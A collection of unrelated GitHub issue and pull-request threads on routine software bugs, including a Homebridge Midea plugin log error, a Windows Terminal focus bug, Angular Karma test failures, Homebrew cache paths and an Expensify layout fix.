Log error "MessageQuery"

Just upgraded to the new version and seeing this error in the log files:
[7/15/2024, 8:03:34 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuerySubtype, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[7/15/2024, 8:03:35 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[7/15/2024, 8:03:36 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageNewProtocolQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
Plugin Version: v1.1.0
Homebridege:  v1.8.3, UI v4.56.4
Node: v20.15.1
JSON Config:  pretty much all default
{
"devices": [
{
"type": "Air Conditioner",
"name": "Mini Split",
"id": XXXXXXX,
"advanced_options": {
"token": "XXXXXXX",
"key": "XXXXXXXX"
},
"AC_options": {
"swing": {
"mode": "Vertical"
},
"displaySwitch": {
"flag": false
},
"tempStep": 0.5,
"fahrenheit": true
}
}
],
"_bridge": {
"username": "XXXXXXX",
"port": 35575
},
"platform": "midea-platform"
}

Is this happening all the time? Or how common this issue occurs?

It occurs on plugin start. No messages in the logs after that. On Jul 17, 2024, at 7:07 AM, Kovalovszky Patrik @.***> wrote:
Is this happening all the time? Or how common this issue occurs?
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you authored the thread.Message ID: @.***>

Is this still happening with the latest beta version?

Maybe the error is related to a cached state or something. Could you please try removing your device from the Homebridge cache and then try again?

Steps Completed:

Deleted cached item, Re-added.  Still persists
Deleted item from Bridge, re-added.  still persists
Upgraded from Midea App to Smart Home App.  Discovered split through the app and added.  still persists
Tried both 1.1.1 and 1.1.2.  Still persists.

The one thing I noticed is that this is how I reproduce the issue.

When you add the split new and initial bridge start the logs are clean with no errors and you see

[8/27/2024, 9:10:46 AM] [homebridge-midea-platform] Discovered device: {"ip":"XXXXX","port":6444,"id":XXXXX,"model":"00000Q1B","sn":"XXXXX","name":"net_ac_D202","type":172,"version":3}
[8/27/2024, 9:10:46 AM] [homebridge-midea-platform] Adding new accessory: Mini Split
[8/27/2024, 9:10:46 AM] [homebridge-midea-platform] [Mini Split] New device at <IP_ADDRESS>:6444, using token/key from config file[8/27/2024, 9:10:46 AM] [homebridge-midea-platform] [Mini Split] Starting network listener.
[8/27/2024, 9:10:54 AM] [homebridge-midea-platform] All configured devices added to Homebridge

The first time you restart the child bridge after a clean restart when adding, then the error shows up, then it persists.  What else can I do to help you troubleshoot this.

[8/27/2024, 9:13:40 AM] [homebridge-midea-platform] Discovered device: {"ip":"XXX","port":6444,"id":XXX,"model":"00000Q1B","sn":"XXX","name":"net_ac_D202","type":172,"version":3}
[8/27/2024, 9:13:40 AM] [homebridge-midea-platform] [Mini Split] Restoring existing accessory from cache: Mini Split
[8/27/2024, 9:13:40 AM] [homebridge-midea-platform] [Mini Split] Cached device, using token/key from config file
[8/27/2024, 9:13:40 AM] [homebridge-midea-platform] [Mini Split] Starting network listener.
[8/27/2024, 9:13:41 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuerySubtype, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[8/27/2024, 9:13:42 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[8/27/2024, 9:13:43 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageNewProtocolQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[8/27/2024, 9:13:48 AM] [homebridge-midea-platform] All configured devices added to Homebridge

hmm, really weird, especially since no one other than you reported this error, I can't really wrap my head around what's going on here

It doesn’t affect performance in any way that I can tell. HomeKit works great and the app works great. It just prints that error in the homebridge logs. When I look in the smart home app the version of the WiFi adapter is up to date and is on v1.0.8Is there anything you can think of I can send you to help troubleshoot?  I can keep an eye on and and report back if anything changes. Just let me know if you want to keep researching. SOn Aug 28, 2024, at 6:13 PM, Kovalovszky Patrik @.***> wrote:
hmm, really weird, especially since no one other than you reported this error, I can't really wrap my head around what's going on here
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you authored the thread.Message ID: @.***>

Any chance this is a config issue?  I grabbed mine out of the json editor. Everything is default except vertical swing, Fahrenheit and heating option are enabled. devices": [                {                    "type": "Air Conditioner",                    "name": "Mini Split",                    "id": xxx,                    "advanced_options": {                        "token": "xxx",                        "key": "xxx"                    },                    "AC_options": {                        "swing": {                            "mode": "Vertical"                        },                        "fahrenheit": true                    }                }            ],            "platform": "midea-platform",            "_bridge": {                "username": "xxxxxx",                "port": 43731            }On Aug 28, 2024, at 6:13 PM, Kovalovszky Patrik @.***> wrote:
hmm, really weird, especially since no one other than you reported this error, I can't really wrap my head around what's going on here
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you authored the thread.Message ID: @.***>

I wouldn't think it's a config issue. It must be some network-related issue, maybe there should be some waiting time between the connection being made to the device and the query messages being sent out.

I have the same issue with mine, is there a way to disable the logs?
[9/17/2024, 8:35:19 AM] [midea-platform] [Den] Does not supports the protocol MessagePowerQuery, ignored, error: Error: [Den | refresh_status] Error when receiving data from device.
[9/17/2024, 8:35:19 AM] [midea-platform] [Living Room] Does not supports the protocol MessageQuerySubtype, ignored, error: Error: [Living Room | refresh_status] Error when receiving data from device.
[9/17/2024, 8:35:19 AM] [midea-platform] [Master Bedroom] Does not supports the protocol MessageQuerySubtype, ignored, error: Error: [Master Bedroom | refresh_status] Error when receiving data from device.
[9/17/2024, 8:35:21 AM] [midea-platform] [Living Room] Does not supports the protocol MessagePowerQuery, ignored, error: Error: [Living Room | refresh_status] Error when receiving data from device.
[9/17/2024, 8:35:21 AM] [midea-platform] [Master Bedroom] Does not supports the protocol MessagePowerQuery, ignored, error: Error: [Master Bedroom | refresh_status] Error when receiving data from device.

Having the same issue on my dehumidifiers.  For what it matters Internet access has been restricted on the devices via a firewall rule.

Did everyone in this issue have their devices disconnected from the internet?

No. Mine are connected to the internet. On Oct 22, 2024, at 5:29 AM, Kovalovszky Patrik @.***> wrote:
Did everyone in this issue have their devices disconnected from the internet?
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you authored the thread.Message ID: @.***>

My IOT devices and Home Bridge server are in a different VLAN but they still currently have internet access.

As I don't have this issue and it doesn't look like it has a single source of cause, I just added a new, per-device configurable flag called logRefreshStatusErrors with the latest beta. If you disable it, it will hide (or more explicitly, it will log it as debug) all errors and warnings related to refreshing the status.

I’ll grab the beta and report out what I see.
S

On Oct 22, 2024, at 3:58 PM, Kovalovszky Patrik @.***> wrote:
As I don't have this issue and it doesn't look like it has a single source of cause, I just added a new, per-device configurable flag called logRefreshStatusErrors with the latest beta. If you disable it, it will hide (or more explicitly, it will log it as debug) all errors and warnings related to refreshing the status.
—
Reply to this email directly, view it on GitHub https://github.com/kovapatrik/homebridge-midea-platform/issues/93#issuecomment-2430261075, or unsubscribe https://github.com/notifications/unsubscribe-auth/AVDJ35ZZFJ4QRMX2X5YXR4LZ42377AVCNFSM6AAAAABK423YK2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZQGI3DCMBXGU.
You are receiving this because you authored the thread.

Works like a charm for me!

Installed v1.2.0-beta.7
First Unchecked - Log Refresh Status Errors:  This has no effect on the error messages showing up in the logs
[10/23/2024, 6:53:14 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuerySubtype, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[10/23/2024, 6:53:15 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[10/23/2024, 6:53:16 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageNewProtocolQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
Then Unchecked - Log Recoverable Errors:  This made the error message go away.
[10/23/2024, 6:56:12 AM] [homebridge-midea-platform] Launched child bridge with PID 61152
[10/23/2024, 6:56:12 AM] Registering platform 'homebridge-midea-platform.midea-platform'
[10/23/2024, 6:56:12 AM] [homebridge-midea-platform] Loaded homebridge-midea-platform v1.2.0-beta.7 child bridge successfully
[10/23/2024, 6:56:12 AM] Loaded 1 cached accessories from cachedAccessories.XXXXXXXXX.
[10/23/2024, 6:56:12 AM] [homebridge-midea-platform] Loading accessory from cache: Mini Split
[10/23/2024, 6:56:12 AM] [homebridge-midea-platform] Start device discovery...
[10/23/2024, 6:56:12 AM] Homebridge v1.8.4 (HAP v0.12.2) (homebridge-midea-platform) is running on port 43731.
This is not the behavior I expected, but it did suppress the error in the log.

On Oct 22, 2024, at 3:58 PM, Kovalovszky Patrik @.***> wrote:
As I don't have this issue and it doesn't look like it has a single source of cause, I just added a new, per-device configurable flag called logRefreshStatusErrors with the latest beta. If you disable it, it will hide (or more explicitly, it will log it as debug) all errors and warnings related to refreshing the status.
—
Reply to this email directly, view it on GitHub https://github.com/kovapatrik/homebridge-midea-platform/issues/93#issuecomment-2430261075, or unsubscribe https://github.com/notifications/unsubscribe-auth/AVDJ35ZZFJ4QRMX2X5YXR4LZ42377AVCNFSM6AAAAABK423YK2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZQGI3DCMBXGU.
You are receiving this because you authored the thread.

Hm, this makes no sense. The logRecoverableErrors flag should not make difference in logging out these error. Can you try it again?

Screenshots and log snippets attached.
￼
￼
Log Refresh Status set at 9:51AM
Restart at 9:52AM
You can see that the errors did not show up with Log_refresh_status_errors checked.
[10/23/2024, 9:52:09 AM] Got SIGTERM, shutting down child bridge process...
[10/23/2024, 9:52:14 AM] [homebridge-midea-platform] Child bridge process ended
[10/23/2024, 9:52:14 AM] [homebridge-midea-platform] Process Ended. Code: 143, Signal: null
[10/23/2024, 9:52:21 AM] [homebridge-midea-platform] Restarting Process...
[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] Launched child bridge with PID 77283
[10/23/2024, 9:52:22 AM] Registering platform 'homebridge-midea-platform.midea-platform'
[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] Loaded homebridge-midea-platform v1.2.0-beta.7 child bridge successfully
[10/23/2024, 9:52:22 AM] Loaded 1 cached accessories from cachedAccessories.XXXXXX.
[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] Loading accessory from cache: Mini Split
[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] Start device discovery...
[10/23/2024, 9:52:22 AM] Homebridge v1.8.4 (HAP v0.12.2) (homebridge-midea-platform) is running on port 43731.
[10/23/2024, 9:52:22 AM]
NOTICE TO USERS AND PLUGIN DEVELOPERS

Homebridge 2.0 is on the way and brings some breaking changes to existing plugins.
Please visit the following link to learn more about the changes and how to prepare:
https://github.com/homebridge/homebridge/wiki/Updating-To-Homebridge-v2.0

[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] Discovered device: {"ip":"XXXXXX.","port":6444,"id":XXXXXX.,"model":"00000Q1B","sn":"XXXXXX.","name":"net_ac_D202","type":172,"version":3}
[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] [Mini Split] Restoring existing accessory from cache: Mini Split
[10/23/2024, 9:52:22 AM] [homebridge-midea-platform] [Mini Split] Cached device, using token/key from config file
[10/23/2024, 9:52:26 AM] [homebridge-midea-platform] [Mini Split] Starting network listener.
[10/23/2024, 9:52:30 AM] [homebridge-midea-platform] All configured devices added to Homebridge
￼
Log Recoverable Errors set at 9:55am, Unchecked Log Refresh Status Errors.
Restart at 9:56AM
Errors show up now
[10/23/2024, 9:56:01 AM] [homebridge-midea-platform] Restarting child bridge...
[10/23/2024, 9:56:01 AM] Got SIGTERM, shutting down child bridge process...
[10/23/2024, 9:56:06 AM] [homebridge-midea-platform] Child bridge process ended
[10/23/2024, 9:56:06 AM] [homebridge-midea-platform] Process Ended. Code: 143, Signal: null
[10/23/2024, 9:56:13 AM] [homebridge-midea-platform] Restarting Process...
[10/23/2024, 9:56:13 AM] [homebridge-midea-platform] Launched child bridge with PID 77643
[10/23/2024, 9:56:13 AM] Registering platform 'homebridge-midea-platform.midea-platform'
[10/23/2024, 9:56:13 AM] [homebridge-midea-platform] Loaded homebridge-midea-platform v1.2.0-beta.7 child bridge successfully
[10/23/2024, 9:56:13 AM] Loaded 1 cached accessories from cachedAccessories.XXXXXXXX.
[10/23/2024, 9:56:13 AM] [homebridge-midea-platform] Loading accessory from cache: Mini Split
[10/23/2024, 9:56:14 AM] [homebridge-midea-platform] Start device discovery...
[10/23/2024, 9:56:14 AM] Homebridge v1.8.4 (HAP v0.12.2) (homebridge-midea-platform) is running on port 43731.
[10/23/2024, 9:56:14 AM]
NOTICE TO USERS AND PLUGIN DEVELOPERS

Homebridge 2.0 is on the way and brings some breaking changes to existing plugins.
Please visit the following link to learn more about the changes and how to prepare:
https://github.com/homebridge/homebridge/wiki/Updating-To-Homebridge-v2.0

[10/23/2024, 9:56:14 AM] [homebridge-midea-platform] Discovered device: {"ip":"XXXXXXXX.","port":6444,"id":XXXXXXXX.,"model":"00000Q1B","sn":"XXXXXXXX.","name":"net_ac_D202","type":172,"version":3}
[10/23/2024, 9:56:14 AM] [homebridge-midea-platform] [Mini Split] Restoring existing accessory from cache: Mini Split
[10/23/2024, 9:56:14 AM] [homebridge-midea-platform] [Mini Split] Cached device, using token/key from config file
[10/23/2024, 9:56:15 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuerySubtype, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[10/23/2024, 9:56:16 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[10/23/2024, 9:56:17 AM] [homebridge-midea-platform] [Mini Split] Does not supports the protocol MessageNewProtocolQuery, ignored, error: Error: [Mini Split | refresh_status] Error when receiving data from device.
[10/23/2024, 9:56:17 AM] [homebridge-midea-platform] [Mini Split] Starting network listener.
[10/23/2024, 9:56:22 AM] [homebridge-midea-platform] All configured devices added to Homebridge

On Oct 23, 2024, at 9:31 AM, Kovalovszky Patrik @.***> wrote:
Hm, this makes no sense. The logRecoverableErrors flag should not make difference in logging out these error. Can you try it again?
—
Reply to this email directly, view it on GitHub https://github.com/kovapatrik/homebridge-midea-platform/issues/93#issuecomment-2432419716, or unsubscribe https://github.com/notifications/unsubscribe-auth/AVDJ35YWKD5BFTOOTL65QH3Z46XMXAVCNFSM6AAAAABK423YK2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZSGQYTSNZRGY.
You are receiving this because you authored the thread.

I apologize, you were totally right, I made a small error in my code (exactly what you were experiencing, I set the logRefreshStatusErrors variable to the value of the logRecovarableErrors flag...Lessons learned, I shouldn't do coding in the night when I'm tired:DD I released a new beta where I'd fix this.

Confirmed working as expected with the 1.2.0 beta 8 fixes to suppress the errors. Thank you!On Oct 23, 2024, at 4:29 PM, Kovalovszky Patrik @.***> wrote:
I apologize, you were totally right, I made a small error in my code (exactly what you were experiencing, I set the logRefreshStatusErrors variable to the value of the logRecovarableErrors flag...Lessons learned, I shouldn't do coding in the night when I'm tired:DD I released a new beta where I'd fix this.
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you authored the thread.Message ID: @.***>

Can I close this issue?


Unreliable detectNetwork

Consider reading
https://github.com/omnia-salud/haywire

You can already using haywire or any network detector of your choice by setting the detectNetwork handler.
The Offline Guide section also documents this:

Sometimes, it's more reliable to check network connectivity by actually making sure you can exchange data with a remote server by periodically making a HEAD request, or keeping an open WebSocket connection with a heartbeat.

Furthermore, we only use network detection to tell us when we are definitely offline, not when we are definitely online - the retry policy will handle retries when "online" network turns out to be not-so-online after-all.
I will want to make further improvements to the default detection strategy, but for now this is handled by configurability and docs.
Thanks for submitting the issue 🍺 !


load_new_products: Support loading MKM ids

I'm a bit unsure how to launch the script, and add it to autmation but beside that it should be good to add this chunk.

all tested working, the addition of "MtG Set" may be controversial because I added some "custom" filtering as I didn't want to make the ignore file explode
tested by hardcoding the mkm secrets, I couldn't figure out how to run it from the cli (any help+documentation is welcome)


renamed to elemental-operator and switched to system agent

This PR is an overhaul of how we provision clusters with elemental.  The existing concepts around updating, and registration have stayed them same however some adjustments were made to the machine inventory spec to accommodate the new provisioning approach.  I will notate the larger changes but there may be additional changes that are not explicitly called out in this comment.

MachineRegistration no long accepts arbitrary cloud config.  There is now a structured section for installation options.  This greatly simplifies the logic for generating the cloud config used when elemental is installed.
MachineInventory no long contains node options.  Inventories are now treated as consumable resources that can become a node in a cluster.
MachineSelectors is a new resources that acts as a cluster api infrastructure provider.  Selectors will select a machine inventory that matches the label selector defined on it's spec and provision the machine with the owning cluster api machine's bootstrap template.  This allows all node and cluster configuration to be pushed off to the cluster api.
The operator binary has a registration command that handles the TPM auth flow and configuring the elemental system agent.  This allows a single repo to own the registration contract.  The command will no longer call elemental cli to install the os, this is instead passed of the systemd unit file in elemental.
A system agent is installed on elemental to allow arbitrary commands to be executed on the elemental machines.  This allows configuration changes to me made to an inventory without that inventory belonging to a cluster.
Machine inventories can now label themselves with arbitrary information using the registration command.

Let's get this merged asap and fix bugs along the way. Andrew already reported success using this branch, so I don't expect a huge fallout.

We have a couple of teams who need this PR merged to get work organized (building test environment for ex.)
Let's have this PR merged and have a couple of issues to follow up on what is till to be resolved:

add cattle-elemental-system in the list of system namespaces in Rancher
bump rancher/system-agent to v0.2.8
fork elotl/cloud-int to rancher/cloud-init and implement security scanning
bump wharfie v0.4.3
switch base image to SLE BCI bci/bci-golang


TypeError with verbose logger when suite is called "constructor"

When verbose mode is on,
  describe('constructor', function() {

will crash the reporter:
● Runtime Error
TypeError: Cannot read property 'push' of undefined

Found this while refactoring the verbose logger.
I'm working on it, but filing so I don't forget about testing this use case as part of my changes.

Yes, this was reported in #655 as well, closing this one.


!_debugLocked

Steps to Reproduce

...
...
...

Target Platform:
Target OS version/browser:
Devices:
Logs

error


[1.11] Terminal opens behind everything else from the Run dialog

Windows Terminal version (or Windows build number)
1.11; 10.0.22440
Other Software
No response
Steps to reproduce
I do not know whether this is a Windows version change or a Terminal change. Given that there's no other centennial apps that exist, I can't really check that part. 😀
Expected Behavior
No response
Actual Behavior

Oh no. It reproduces in unpackaged launch, but only via wt.exe. It doesn't repro via WindowsTerminal.exe.

It reproduces on WT 1.9. Suspecting a Windows regression.

FWIW I'm not seeing this on 22434.rs_wdx_dxp. That's a fairly narrow range of builds.

Also, isn't notepad centennial now these days 🙃

tracking MSFT:35378923

This is fixed in the OS as of 22471.1000.rs_prerelease


find equation of line perpendicular to a line and pass through a point

Proposal
find equation of line perpendicular to line and  pass through a point
(A clear and concise description of what the proposal is.)

@sairish2001 i would like to work on it

Go ahead
Deadline 24 April,2021 11:59 PM IST


karma fails for Tour of Heroes tutorial, part 5, Routing

I've struggled with another problem getting karma to work for the Tour-of-Heroes tutorial.
In the final step of part 5, Routing - Styling the App, code is introduced that causes the karma tests to fail with this misleading error:
    Chrome 52.0.2743 (Mac OS X 10.11.6) AppComponent with TCB should instantiate component FAILED
[1] 	Error: This test module uses the component AppComponent which is using a "templateUrl", but they were never compiled. Please call "TestBed.compileComponents" before your test.
[1] 	    at TestBed._initIfNeeded (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/@angular/core/testing/test_bed.js:219:27)
[1] 	    at TestBed.createComponent (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/@angular/core/testing/test_bed.js:296:14)
[1] 	    at Function.TestBed.createComponent (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/@angular/core/testing/test_bed.js:126:29)
[1] 	    at Object.eval (/Users/peter/devel/tutorials/angular2-quickstart-rc5/generated/browser-angular2/app/app.component.spec.js:22:41)
[1] 	    at ZoneDelegate.invoke (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:332:29)
[1] 	    at Zone.run (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:225:44)
[1] 	    at /Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:591:58
[1] 	    at ZoneDelegate.invokeTask (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:365:38)
[1] 	    at Zone.runTask (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:265:48)
[1] 	    at drainMicroTaskQueue (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:497:36)
[1] 	    at XMLHttpRequest.ZoneTask.invoke (/Users/peter/devel/tutorials/angular2-quickstart-rc5/node_modules/zone.js/dist/zone.js:437:26)

But components/browser-angular2/app/app.component.ts doesn't use the templateUrl field!

I believe I have a solution:
After working through the tutorial slowly, I discovered that the problem is introduced when the routerLinkActive directive is added.
I added this import to app/app.component.ts, and it seems to resolve the karma problems.
import { RouterLinkActive } from '@angular/router';

Please let me know if this is a correct fix.
If it is, please update the tutorial.
Also, it seems that the error message should be made more specific, if possible.
It gave me no information that helped me locate the source of  the problem.

That is not the correct approach, no. We're putting the finishing touches on the testing chapter in www.angular.io which will address such situations.


error after updating to version 4.0.1

Hey @loeffelr >v4.0.0 supports only React >18. Could you check which version of React you are using?

using version 17 - what's with version 3? is there the csv fix in it?
https://github.com/UgnisSoftware/react-spreadsheet-import/issues/157

Sadly, no. But I can backport it to v3 later today.

Would be great, thank you!

@loeffelr could you try v3.1.0?

Working, thank you!


Upgrade eslint-plugin-unicorn

https://github.com/sindresorhus/eslint-plugin-unicorn/releases/tag/v8.0.0
Disable prefer-includes since it is not supported by IE11.

Probably want to also disable prefer-node-remove since ChildNode.remove() is not also supported by IE (not that anyone is really removing nodes in that fashion)


Backports from 3de4c3b26c1 - Fixes #105

Backport of 3de4c3b.

Added findGetterDescriptionForField(FieldDescription base) to check against all known prefixes for methods that clash
Extended test case for FieldPropertyClash to include predicate case

Fun fact: The current master branch fails on windows, I had to use a vagrant machine to test this. 😢
Fixes #105.

is that because of line endings ? I use linux, that kind of errors are not easy to detect.

Some are, AssertionsEntryPointGeneratorTest#should_generate_correctly_standard_assertions_entry_point_class_for_classes_with_same_name() definitely is.
AssertionGeneratorTest#should_generate_assertion_for_property_with_exception(Class) fails for some reason I can't reason by looking at it. I fixed all of these in #101 though as I use both Windows and OSX when working (and vagrant Ubuntu boxes on Windows as needed!).

@Nava2 can you address my comments on top of 3de4c3b ? I will cherry pick the commits once done.

Sure thing, I'll get to it later today!


feat(cli): Add in typescript language along with use-docker switch into the CLI

May help with Issue #62 as well
This allows "typescript" and "--use-docker" or "-d" to be chosen directly in the CLI without going through the interactive menus.
Bringing the typescript plugin more in line with python plugin
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

What about all the any warnings? Should we disable that in PR validation, or edit the PR?

@ericzbeard you talking about Unchanged files with check annotations Beta section?  I got tripped up on that too but I think that is safe to ignore now since its unrelated to his changes.


Logs ignore XDG_CACHE_HOME env variable while processing HOMEBREW_CACHE and HOMEBREW_LOGS

brew gist-logs <formula> link OR brew config AND brew doctor output
$ brew config                                                                                1 2023-10-28 04:46:38
HOMEBREW_VERSION: 4.1.17
ORIGIN: https://github.com/Homebrew/brew
HEAD: 35746e0a6ba6c3c5cfe56d99f79d9ec9f52ee15f
Last commit: 6 days ago
Core tap JSON: 28 Oct 01:43 UTC
HOMEBREW_PREFIX: /home/linuxbrew/.linuxbrew
HOMEBREW_CACHE: /home/tony/.local/cache/Homebrew
HOMEBREW_CASK_OPTS: []
HOMEBREW_DISPLAY: :0
HOMEBREW_EDITOR: nvim
HOMEBREW_MAKE_JOBS: 20
Homebrew Ruby: 2.6.10 => /home/linuxbrew/.linuxbrew/Homebrew/Library/Homebrew/vendor/portable-ruby/2.6.10_1/bin/ruby
CPU: 20-core 64-bit unknown_0x6_0x97
Clang: N/A
Git: 2.34.1 => /bin/git
Curl: 7.81.0 => /bin/curl
Kernel: Linux <IP_ADDRESS>-microsoft-standard-WSL2 x86_64 GNU/Linux
OS: Ubuntu 22.04.3 LTS (jammy)
WSL: 2 (Microsoft Store)
Host glibc: 2.35
/usr/bin/gcc: 11.4.0
/usr/bin/ruby: N/A
glibc: N/A
gcc@11: N/A
gcc: 13.2.0
xorg: N/A

Verification

[X] My "brew doctor output" says Your system is ready to brew. and am still able to reproduce my issue.
[X] I ran brew update and am still able to reproduce my issue.
[X] I have resolved all warnings from brew doctor and that did not fix my problem.
[X] I searched for recent similar issues at https://github.com/Homebrew/homebrew-core/issues?q=is%3Aissue and found no duplicates.

What were you trying to do (and why)?
I was trying to set homebrew's cache into specific location via HOMEBREW_CACHE env, but it's still creates ~/.cache/Homebrew directory for logs which is not a suitable path in my case
What happened (include all command output)?

What did you expect to happen?
Logs will be created in ${HOMEBREW_CACHE}/Logsas man page says

Step-by-step reproduction instructions (by running brew commands)
rm -Rf ~/.cache/Homebrew # drop old cache dir
HOMEBREW_CACHE="${HOME}/.homebrew-cache" brew <anything> # do something
ls -la ~/ # see that there are two dirs - ~/.homebrew-cache AND again ~/.cache/Homebrew/Logs

The relevant code is here:
https://github.com/Homebrew/brew/blob/97eda6479039d7f91e08da72135fbef28b65ef8d/Library/Homebrew/brew.sh#L35-L45
https://github.com/Homebrew/brew/blob/97eda6479039d7f91e08da72135fbef28b65ef8d/Library/Homebrew/brew.sh#L78-L80
Nothing looks obviously wrong though.

Nothing looks obviously wrong though.

Probably an env filtering issue

Yeah, that's exactly it. I assume we don't allow this to pass through because it could affect build reproducibility.
We need to at least pass it from bin/brew to brew.sh where these values are set. The obvious thing to do here would be to just create a new HOMEBREW_XDG_CACHE_HOME variable that we export internally with the value of XDG_CACHE_HOME if it is set.


Show explanation for badge request only conditionally

This text only makes sense if the form is shown. Therefore, move it to only show it conditionally.

Thanks!

Also: make sure to add your name in contributors.json, if you want to :)


Return diagnostics only for the current file

This fixes the problem where in one proto file you see highlights for lint errors from all other files.

@oliversun9 looks reasonable to me, but I'm not a VS Code user (I don't think @doriable is either). Could you maybe add more context to the description (maybe screenshots?) to show the fix working and we can get this merged?

@oliversun9 looks reasonable to me, but I'm not a VS Code user (I don't think @doriable is either). Could you maybe add more context to the description (maybe screenshots?) to show the fix working and we can get this merged?

Thanks for taking a look! I added screenshots in the description.

@tw1nk released yesterday, thanks for your patience - let us know if you run into any other issues!


IOU - Long email or name is overflowing the border of the modal

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Expected Result:
Email or name should be wrapped so there's no overflowing at the edge of the modal
Actual Result:
Long email or name is overflowing the border of the modal
Action Performed:
Prerequisite: Account A should have a long email or name.

Log in as account A and request money to account B
Log in as account B and navigate to the conversation with account A
Click on Pay

Workaround:
No need, visual issue.
Platform:
Where is this issue occurring?
Web ✔
iOS
Android
Desktop App
Mobile Web
Version Number: 1.0.55-0
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation

Expensify/Expensify Issue URL:
View all open jobs on Upwork

Triggered auto assignment to @kadiealexander (AutoAssignerTriage), see https://stackoverflow.com/c/expensify/questions/4749 for more details.

Reproduced this issue in the web app:

Triggered auto assignment to @ctkochan22 (Engineering), see https://stackoverflow.com/c/expensify/questions/4319 for more details.

Issue reproducible today during KI retests

Issue reproducible today during KI retests

I don't think this is a daily. As its not blocking anything. But let me know otherwise

Issue reproducible today during KI retests

Issue reproducible today during KI retests.

Not sure why this wasn't added an external label, adding it now.

Triggered auto assignment to @NicMendonca (External), see https://stackoverflow.com/c/expensify/questions/8582 for more details.

Issue reproducible during KI retests.

Proposal
This also happens in our chat if the name is long enough (or the screen small enough)

Both screens use our ReportActionItemFragment to render the display name. We can fix it by specifying width: 100% in our containerStyle.

Triggered auto assignment to @Luke9389 (Exported), see https://stackoverflow.com/c/expensify/questions/7972 for more details.

Proposal
This a styling issue and it is caused by the flex-shrink attached, once this is removed or actually made to shrink rather than overflow. We can solve this issue and other places it might be appearing

@rdjuric Can you clarify what you meant to say with this?

I'll get passed to our Hooverable

@rdjuric Can you clarify what you meant to say with this?

Sorry! I meant to say that our ToolTip component can take a containerStyle prop, and that it passes it to our Hoverable component and to the View that wraps our text here:
https://github.com/Expensify/Expensify.cash/blob/5add245777dbcb7826f2444601debe15249bf7f1/src/components/Tooltip/index.js#L177-L188

Ah, OK cool, thanks!
So you're thinking we should just put width: 100% in that containerStyle?

Ah, OK cool, thanks!
So you're thinking we should just put width: 100% in that containerStyle?

Yes, that will make our ToolTip component stay within the width of its parent. As our text is already styled correctly, correcting our ToolTip style made the text wrap correctly.

I am pretty sure that we want it to be trimmed with ellipsis... cc @shawnborton

@parasharrajat
Yea, I think that would look better too. And we would just need to add numberOfLines={1) to our Text (after fixing the ToolTip width)

Ok, well @rdjuric you can go ahead and spin up the PR given that you've submitted you're proposal. 👍

@rdjuric can you please apply to the job in Upwork so we can start the contract? Thanks!

@NicMendonca Done!

Issue reproducible during KI retests.

Issue reproducible during KI retests

Issue reproducible during KI retests

I can't repro this on staging. Can you give more details @isagoico?

This was a mistake on my part. Issue was not reproducible during KI retests 🎉 fixing the comment.

Thanks everyone!


Refactor the attestation model

Given the general nature of attestations we were to tightly coupled to the model of build attestations. With this we can evolve to support different types of attestations. We were also coupled to the output needed for the reports in our model, which doesn't allow us to evolve the model without modifying the output.
I think the attestation.Attestation model can be simplified even more, something that I'll look into as well. Most likely the metadata and the typed statement are not needed and could be kept internal to the attestation implementation.
Right now we also equate the statement with attestation, further refinement could introduce a model for the attestation and statement separately.

